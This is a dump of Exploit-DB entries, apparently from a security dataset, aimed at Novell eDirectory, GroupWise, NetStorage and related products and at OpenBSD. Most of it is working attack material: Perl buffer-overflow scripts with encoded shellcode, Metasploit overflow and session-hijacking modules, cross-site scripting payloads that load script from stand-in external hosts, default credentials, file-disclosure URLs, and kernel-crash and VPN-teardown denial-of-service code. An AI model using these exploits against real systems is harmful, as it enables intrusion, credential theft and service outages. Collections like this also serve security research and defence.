deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33351
Description: Novell eDirectory 8.8 - '/dhost/modules?I:' Remote Buffer Overflow
Type: remote
Platform: novell
Date: 2009-11-12
Author: HACKATTACK

Exploit:
source: https://www.securityfocus.com/bid/37009/info

Novell eDirectory is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

Novell eDirectory 8.8 SP5 is vulnerable; other versions may also be affected. 

#!usr\bin\perl
#Vulnerability has found by HACKATTACK

use WWW::Mechanize;

use LWP::Debug qw(+);

use HTTP::Cookies;

$address=$ARGV[0];


if(!$ARGV[0]){

        print "Usage:perl $0 address\n";
        
exit();
}



$login = "$address/_LOGIN_SERVER_";

$url = "$address/dhost/";

$module = "modules?I:";

$buffer = "A" x 2000;


$vuln = $module.$buffer;

#Edit the username and password.

          $user = "username";

          $pass = "password";

#Edit the username and password.

my $mechanize = WWW::Mechanize->new();


$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));


$mechanize->timeout($url_timeout);

$res = $mechanize->request(HTTP::Request->new('GET', "$login"));


    $mechanize->submit_form(

                  form_name => "authenticator",

                  fields    => {

                     usr => $user,

                     pwd => $pass},

                     button => 'Login');

$response2 = $mechanize->get("$url$vuln");
Exploit-DB #11022
Description: Novell eDirectory 8.8 SP5 - (Authenticated) Remote Buffer Overflow
Type: remote
Platform: novell
Date: 2010-01-06
Author: His0k4 & Simo36

Exploit:
# Exploit Title: Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF Exploit (0day)
# Date: 06/01/2010
# Author: His0k4 & Simo36
# Version: 8.8 SP5
# Tested on: Windows xp sp3
# Code :
#!usr\bin\perl

use WWW::Mechanize;
use HTTP::Cookies;
use HTTP::Headers;

$target=$ARGV[0];

if(!$ARGV[0]){

print "[+] Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF (0day)\n";
print "[+] Exploit : His0k4 & Simo36\n";
print "Usage:perl $0 [target]\n";
print "Example : exploit.pl<http://exploit.pl> https://192.168.1.2:8030\n";
exit();
}


$login_url = "$target/_LOGIN_SERVER_";

$url = "$target/dhost/httpstk";

# calc shellcode
my $shellcode =
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJItiO9mSHi".
"YNjyzNYIRTetxtQKOqpsgcHUKIin24OsjKkL9r8tWYVqNZWdXUL9T5PQhid2".
"NbvqlmKH21MOLZyqT5PKXujXVuQM1NhMpuTUukYXunNmpy3MUnSPjrP8FTWi".
"n4wKTUKPjNnMxZb0MpGl2U2kxqzXFu2RSn8uLuMONjHekOYoSnxeCEvuWNpp".
"LbDpXQwJJoJtNQ1bONWT2pfYK64XCnLykBMOY5m5scooOMxq4UwmqNBY0Nb4".
"yEIirUQlkYMvhOXbLuNOrWJLpVVYou3toMlGwVhvnFnqSVIzCoygMyJKdroj".
"mOBXx6Xyinr4eZA";

my $junk = "\x41" x 468;
my $jmp = "\x75\x06\x41\x42";
my $seh = "Du0d"; #Univ ret
my $align = "\x61" x 3;
my $eax = "\x50\xC3";
my $data1 = "\x43" x 146;
my $data2 = "\x43" x 900;

my $payload = $junk.$jmp.$seh.$align.$eax.$data1.$shellcode.$data2;

########Change Admin info########

$username = "Admin.context";

$[CREDENTIAL_REDACTED]";

#########################################

my $mechanize = WWW::Mechanize->new();
$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));
$mechanize->timeout($url_timeout);

#Login
print "[x] Sending User & pass...\n";
$res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));

$mechanize->submit_form(

form_name => "authenticator",

fields => {

usr => $username,
pwd => $password},

button => 'Login');

#vuln occurring
print "[x] Sending Exploit...\n";
$res = $mechanize->get("$url");
print "[x] Exploit Sent!\n";
$mechanize->submit_form(

fields => {

sadminpwd => $payload,
verifypwd => $payload}
);
Exploit-DB #33767
Description: Novell eDirectory 8.8.5 - DHost Weak Session Cookie Session Hijacking (Metasploit)
Type: remote
Platform: novell
Date: 2010-03-14
Author: Metasploit

Exploit:
source: https://www.securityfocus.com/bid/38782/info

Novell eDirectory is prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain access to the affected application.

Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected. 

##
# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell eDirectory DHOST Predictable Session Cookie',
			'Description'    => %q{
				This module is able to predict the next session cookie value issued
			by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
			this module, wait until the real administrator logs in, then specify the
			predicted cookie value to hijack their session.
			},
			'References'     =>
				[
					['OSVDB', '60035'],
				],
			'Author'         => 'hdm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7519 $'
		))

		register_options([
			Opt::RPORT(8030),
			OptBool.new('SSL', [true, 'Use SSL', true])
		], self.class)
	end

	def run
		vals = []
		name = ""

		print_status("Making 5 requests to verify predictions...")
		1.upto(6) do

			connect
			req =  "GET /dhost/ HTTP/1.1\r\n"
			req << "Host: #{rhost}:#{rport}\r\n"
			req << "Connection: close\r\n\r\n"
			sock.put(req)
			res = sock.get_once(-1,5)
			disconnect

			cookie = nil
			if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
				cookie = $1
				cookie,junk = cookie.split(';')
				name,cookie = cookie.split('=')
				cookie      = cookie.to_i(16)
				vals << cookie
			end
		end

		deltas   = []
		prev_val = nil
		vals.each_index do |i|
			if(i > 0)
				delta = vals[i] - prev_val
				print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
				deltas << delta
			end
			prev_val = vals[i]
		end

		deltas.uniq!
		if(deltas.length < 4)
			print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
		else
			print_status("The cookie value is less predictable, maybe this has been patched?")
			print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
		end
	end

end
Exploit-DB #31533
Description: Novell eDirectory 8.x - eMBox Utility 'edirutil' Command
Type: remote
Platform: novell
Date: 2008-03-25
Author: Nicholas Gregorie

Exploit:
source: https://www.securityfocus.com/bid/28441/info

Novell eDirectory is prone to an unspecified vulnerability that can result in unauthorized file access or a denial of service.

Unauthenticated attackers can exploit this issue.

This issue affects eDirectory 8.8 (and earlier) as well as 8.7.3.9 (and earlier).

java -cp eMBoxClient.jar embox -i
login -s edir_ip_address -p port (port can be 8008, 8009, 80, 443, 8030)
Exploit-DB #28837
Description: Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow (3)
Type: remote
Platform: novell
Date: 2006-10-30
Author: MC

Exploit:
source: https://www.securityfocus.com/bid/20655/info
  
The Novell eDirectory server iMonitor is prone to a stack-based buffer-overflow vulnerability because it fails to perform sufficient bounds checking on client-supplied data before copying it to a buffer.
  
An attacker could leverage this issue to execute arbitrary code with administrative privileges. A successful exploit could result in the complete compromise of the affected system.
  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell eDirectory NDS Server Host Header Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in Novell eDirectory 8.8.1.
				The web interface does not validate the length of the 
				HTTP Host header prior to using the value of that header in an 
				HTTP redirect.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					['CVE', '2006-5478'],
					['OSVDB', '29993'],
					['BID', '20655'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll 
				],

			'Privileged'     => true,

			'DisclosureDate' => 'Oct 21 2006',

			'DefaultTarget' => 0))

			register_options([Opt::RPORT(8028)], self.class)
	end

	def exploit
		connect

		sploit =  "GET /nds HTTP/1.1" + "\r\n" 
		sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars) 
		sploit << "," + rand_text_alphanumeric(719, payload_badchars) 
		seh    = generate_seh_payload(target.ret)
		sploit[705, seh.length] = seh
		sploit << "\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(sploit)
		
		handler
		disconnect
	end

end
Exploit-DB #21182
Description: Novell Groupwise 5.5/6.0 Servlet Gateway - Default Authentication
Type: remote
Platform: novell
Date: 2001-12-15
Author: Adam Gray

Exploit:
source: https://www.securityfocus.com/bid/3697/info

Novell Groupwise Servlet Gateway is a product that allows Java servlets to be run with NetWare, using Novell JVM for NetWare v1.1.7b and NetWare Enterprise Web Server.

A remote attacker may gain access to the Servlet Manager interface by entering the default username/password. The default username is "servlet" and the default password is "manager".

http://server/servlet/ServletManager
username servlet
password manager
Exploit-DB #31095
Description: Novell Groupwise 5.57e/6.5.7/7.0 Webaccess - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: novell
Date: 2008-01-31
Author: Frederic Loudet

Exploit:
source: https://www.securityfocus.com/bid/27582/info

Novell GroupWise WebAccess is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Novell GroupWise WebAccess 7 is vulnerable; other versions may also be affected. 

http://www.example.com/servlet/webacc?Error=[XSS]
http://www.example.com/servlet/webacc?User.html=[XSS]
Exploit-DB #30432
Description: Novell Groupwise 6.5 Webaccess - 'User.Id' Cross-Site Scripting
Type: remote
Platform: novell
Date: 2007-07-30
Author: 0x000000

Exploit:
source: https://www.securityfocus.com/bid/25126/info

Novell GroupWise WebAccess is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Novell GroupWise WebAccess 6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/servlet/webacc?User.Id="><STYLE>BODY{-moz-binding:url("http://www.example2.com/xssmoz.xml#xss")}</STYLE><"
Exploit-DB #32876
Description: Novell NetStorage 2.0.1/3.1.5 - Multiple Remote Vulnerabilities
Type: remote
Platform: novell
Date: 2009-03-26
Author: Bugs NotHugs

Exploit:
source: https://www.securityfocus.com/bid/34267/info

Novell NetStorage is prone to the following remote vulnerabilities:

- An information-disclosure vulnerability
- A cross-site scripting vulnerability
- A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and cause a denial-of-service condition. Other attacks are also possible.

The following are vulnerable:

NetStorage 3.1.5-19 on Open Enterprise Server (OES)
NetStorage 2.0.1 on NetWare 6.5 SP6 

The following examples are available:

Cross-site scripting:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Denial of service:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--><
/SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Information disclosure:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--><
/SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Exploit-DB #20482
Description: Novell Netware Web Server 3.x - files.pl
Type: remote
Platform: novell
Date: 1998-12-01
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/2076/info

Novell Web Server 3.x Examples Toolkit v.2 is a package containing example scripts and HTML files to help administrators design web sites. It is not a support Novell product and is provided solely as a convenience to the user. The toolkit contained a script called "FILES.PL" that could be used to view the contents of files or directories on the server by a remote attacker. This is done by passing the parameter "file=<file-or-directory-to-view>" to the script. An attacker could gain information useful in conducting subsequent attacks, or retrieve personal or proprietary information. 

http://victim.host/perl/files.pl?file=sys:system/autoexec.ncf
http://victim.host/perl/files.pl?file=sys:etc/ldremote.ncf
http://victim.host/perl/files.pl?file=vol2:apps/accounting/payroll.doc
Exploit-DB #32795
Description: Novell QuickFinder Server - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: novell
Date: 2009-02-09
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/33708/info

Novell QuickFinder Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

"add virtual server"

https://server:2200/qfsearch/AdminServlet?&req=displayaddsite

Post:
siteloc=%22%3E%3Cscript%20src=http://www.example2.com/scripts/evil-code.js%3E%3C/script%3E

"Default"

Post:
https://server:2200/qfsearch/AdminServlet?site=globalsearchsite&req=generalproperties
site="><script 
src=http://www.www.example2.com/scripts/evil-code.js></script>

"services, synchronization"

Post:
https://server:2200/qfsearch/AdminServlet?&req=clusterserviceproperties
site="><script 
src=http://www.www.example2.com/scripts/evil-code.js></script>


Querystring:

https://server2200/qfsearch/AdminServlet?&req=global&adminurl="><script 
src=http://www.www.example2.com/scripts/evil-code.js></script>
Exploit-DB #10074
Description: Novell eDirectory 8.8 SP5 - 'dconserv.dlm' Cross-Site Scripting
Type: webapps
Platform: novell
Date: 2009-10-01
Author: Francis Provencher

Exploit:
https://www.example.com:8030/dhost/modules?I:dconserv.dlm=%3CSCRIPT%3Ealert(%22Protek%20Research%20Lab's%22);%3C/SCRIPT%3E
Exploit-DB #10075
Description: Novell Edirectory 8.8 SP5 - Cross-Site Scripting
Type: webapps
Platform: novell
Date: 2009-09-23
Author: Francis Provencher

Exploit:
########################################################################
#############

Application: Novell Edirectory 8.8 SP5

Platforms: Windows 2003 Server

Exploitation: XSS

Date: 2009-09-23

Author: Francis Provencher (Protek Research Lab's)

########################################################################
#############

1) Introduction
2) Technical details and bug
3) The Code

########################################################################
#############

===============
1) Introduction
===============

Novell Directory Services is a hierarchical, object oriented database that represents all the assets in an organization in a logical tree. Assets can include people, positions, servers, workstations, applications, printers, services, groups, etc. The use of dynamic rights inheritance and equivalence allows both global and fine grained access controls to be implemented efficiently. Access rights between objects in the tree are determined at the time of the request and is determined by the rights assigned to the objects by virtue of their location in the tree, any security equivalences and individual assignment

(Source Wikipedia)

########################################################################
#############

============================
2) Technical details 
============================

Name:	dconserv.dlm
Ver.:	202.19.15.0

########################################################################
#############

===========
3) The Code
===========

Proof of concept DoS code;

https://*.*.*.*:8030/dhost/modules?I:dconserv.dlm=%3CSCRIPT%3Ealert(%22P
rotek%20Research%20Lab's%22);%3C/SCRIPT%3E

########################################################################
#############
(PRL-2009-08)
Exploit-DB #23389
Description: OpenBSD 3.3/3.4 - 'sysctl' Local Denial of Service
Type: dos
Platform: openbsd
Date: 2003-11-19
Author: anonymous

Exploit:
// source: https://www.securityfocus.com/bid/9073/info

A denial of service vulnerability has been reported for OpenBSD, specifically when handling malformed calls to sysctl. By invoking systcl and passing a specific flag in conjunction with a negative argument may trigger a kernel panic. This could be exploited by a malicious unprivileged local user to crash a target system.

The precise technical details regarding this vulnerability are currently unknown. This BID will be updated as further information is made available. 

#include <stdio.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int main ()
{
unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1;

return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0));
}
Exploit-DB #23392
Description: OpenBSD 3.3/3.4 - semctl/semop Local Unexpected Array Indexing
Type: dos
Platform: openbsd
Date: 2003-11-21
Author: anonymous

Exploit:
// source: https://www.securityfocus.com/bid/9086/info

A local OpenBSD kernel vulnerability has been discovered when handling the semctl and semop system calls. The problem specifically occurs due to improper sanity checking before handling a user-supplied semaphore set. It is said that this could lead to the corruption of kernel-based memory and may result in a kernel panic.

The problem occurs due to the affected code verifying the bounds of an integer against an incorrect variable. This could result in an unintended index into an array situated in heap memory. The value taken from the location within the array is interpreted as a pointer and later dereferenced. If a value believed to be a legitimate memory address were used, this would effectively result in a segmentation violation within the kernel, causing it to panic.

Although unconfirmed, due to the nature of this issue it has been speculated that this issue could be exploited to gain elevated system privileges. 

#include <stdio.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/ipc.h>

int
main()
{
    int i;

        for(i = 0; i < 0x40; i++)
                semop(i, (struct sembuf *) NULL, 0);

}
Exploit-DB #24181
Description: OpenBSD 3.x - ISAKMPD Security Association Piggyback Delete Payload Denial of Service
Type: dos
Platform: openbsd
Date: 2004-06-08
Author: Thomas Walpuski

Exploit:
source: https://www.securityfocus.com/bid/10496/info

It is reported that OpenBSD's isakmpd daemon is susceptible to a remote denial of service vulnerability.

An attacker is able to delete security associations and policies from IPSec VPN's by sending a malformed UDP ISAKMP packet to a vulnerable server. The malformed packet contains payloads for both setting up a new tunnel and deleting a tunnel. Isakmpd improperly acts upon the delete payload and terminates the associations and policys relating to the tunnel.

It is possible to destroy security associations, effectively eliminating the VPN connection between gateways, denying service to legitimate users of the VPN.

#!/bin/sh

if [ ! $# -eq 3 ]; then
	echo "usage: $0 fake_src victim spi";
	exit;
fi

src=$1; dst=$2
spi=`echo $3 | sed 's/\(..\)/\\\\x\1/g'`
cky_i=`dd if=/dev/urandom bs=8 count=1 2>/dev/null`

dnet hex \
	$cky_i \
	"\x00\x00\x00\x00\x00\x00\x00\x00" \
	"\x08\x10\x05\x00" \
	"\x00\x00\x00\x00" \
	"\x00\x00\x00\x5c" \
	"\x01\x00\x00\x04" \
	"\x0c\x00\x00\x2c" \
	"\x00\x00\x00\x01" \
	"\x00\x00\x00\x01" \
	"\x00\x00\x00\x20" \
	"\x01\x01\x00\x01" \
	"\x00\x00\x00\x18" \
	"\x00\x01\x00\x00" \
	"\x80\x01\x00\x05" \
	"\x80\x02\x00\x02" \
	"\x80\x03\x00\x01" \
	"\x80\x04\x00\x02" \
	"\x00\x00\x00\x10" \
	"\x00\x00\x00\x01" \
	"\x03\x04\x00\x01" \
	$spi |
	dnet udp sport 500 dport 500 |
	dnet ip proto udp src $src dst $dst |
	dnet send
Exploit-DB #8430
Description: OpenBSD 4.5 - IP datagram Null Pointer Deref Denial of Service
Type: dos
Platform: openbsd
Date: 2009-04-14
Author: nonroot

Exploit:
import sys
from scapy import *
victim=sys.argv[1]
icmpv6=58
p=IP(dst=victim)
p.proto=icmpv6
sr(p,timeout=1)

# milw0rm.com [2009-04-14]